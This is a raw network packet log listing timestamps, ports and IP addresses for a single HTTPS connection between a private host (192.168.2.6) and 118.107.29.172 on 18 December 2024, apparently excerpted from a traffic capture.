Dec 18, 2024 13:35:40.500637054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.500650883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.500674009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.505718946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.505743027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.505770922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.505779028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.505805969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.505824089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.533132076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.533190012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.533210993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.533236980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.533257008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.533277988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.538003922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.538050890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.538094997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.538101912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.538155079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.544015884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.544080973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.544101000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.544121981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.544136047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.544157982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.549725056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.549770117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.549801111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.549808979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.549844980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.560107946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.560158014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.560199022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.560225964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.560240030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.560267925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.565644026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.565691948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.565717936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.565743923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.565768003 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.565792084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.692960978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.693026066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.693068981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.693099976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.693115950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.693344116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.698218107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.698266983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.698297977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.698323965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.698339939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.698360920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.725387096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.725461006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.725547075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.725575924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.725617886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.725636959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.731340885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.731389999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.731409073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.731429100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.731446981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.731462955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.736979961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.737026930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.737066984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.737097979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.737128019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.737152100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.742309093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.742358923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.742379904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.742388010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.742420912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.742435932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.752511024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.752574921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.752587080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.752607107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.752635956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.752652884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.757698059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.757746935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.757764101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.757771969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.757822037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.757891893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.884834051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.884862900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.884922028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.884938002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.884968996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.884980917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.890115976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.890136003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.890187025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.890196085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.890227079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.890253067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.917553902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.917582989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.917614937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.917737007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.917747021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.917784929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.923506021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.923558950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.923614025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.923628092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.923662901 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.923674107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.929227114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.929272890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.929307938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.929321051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.929352999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.929373026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.935131073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.935173988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.935194016 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.935201883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.935233116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.935251951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.944832087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.944883108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.944892883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.944912910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.944937944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.944963932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.949449062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.949491978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.949522018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.949552059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.949579954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.949599981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.077222109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.077284098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.077316999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.077342033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.077356100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.077383041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.082328081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.082374096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.082389116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.082397938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.082425117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.082439899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.110236883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.110287905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.110332012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.110361099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.110409975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.110436916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.116117001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.116172075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.116203070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.116209030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.116238117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.116257906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.122021914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.122071028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.122100115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.122106075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.122139931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.122153997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.127264977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.127309084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.127342939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.127351046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.127393007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.138370991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.138430119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.138474941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.138484955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.138508081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.138545036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.144951105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.144992113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.145008087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.145018101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.145046949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.145068884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.270937920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.271028996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.271047115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.271074057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.271090984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.271110058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.274857998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.274909973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.274940968 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.274949074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.274981022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.274995089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.302474022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.302505016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.302598000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.302619934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.302661896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.308166027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.308192968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.308245897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.308255911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.308280945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.308298111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.313972950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.313997030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.314053059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.314078093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.314090014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.318089008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.319272995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.319298029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.319343090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.319353104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.319365978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.319394112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.329024076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.329061031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.329140902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.329163074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.329202890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.333664894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.333688974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.333738089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.333750010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.333777905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.333797932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.461544991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.461571932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.461666107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.461689949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.461730003 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.467152119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.467185020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.467248917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.467264891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.467309952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.467329979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.494646072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.494673014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.494731903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.494760990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.494776011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.494797945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.500511885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.500540972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.500622034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.500643969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.500679970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.506202936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.506230116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.506300926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.506328106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.506340981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.506367922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.512168884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.512197018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.512244940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.512268066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.512280941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.515880108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.520898104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.520922899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.520979881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.521001101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.521015882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.523886919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.526477098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.526504993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.526578903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.526601076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.526613951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.526638985 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.606843948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.653949976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.653980970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.654057026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.654074907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.654131889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.654151917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.659379005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.659405947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.659449100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.659456968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.659504890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.687721014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.687743902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.687787056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.687819004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.687834024 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.687855005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.692637920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.692657948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.692694902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.692719936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.692734003 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.692760944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.698539019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.698558092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.698594093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.698615074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.698642015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.698666096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.704304934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.704323053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.704400063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.704422951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.704463005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.713104010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.713121891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.713169098 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.713190079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.713202953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.713226080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.718709946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.718739033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.718775988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.718791008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.718820095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.718839884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.846226931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.846250057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.846304893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.846338987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.846358061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.846379995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.851398945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.851417065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.851445913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.851473093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.851491928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.851504087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.880136967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.880158901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.880199909 CET	49728	443	192.168.2.6	118.107.29.172
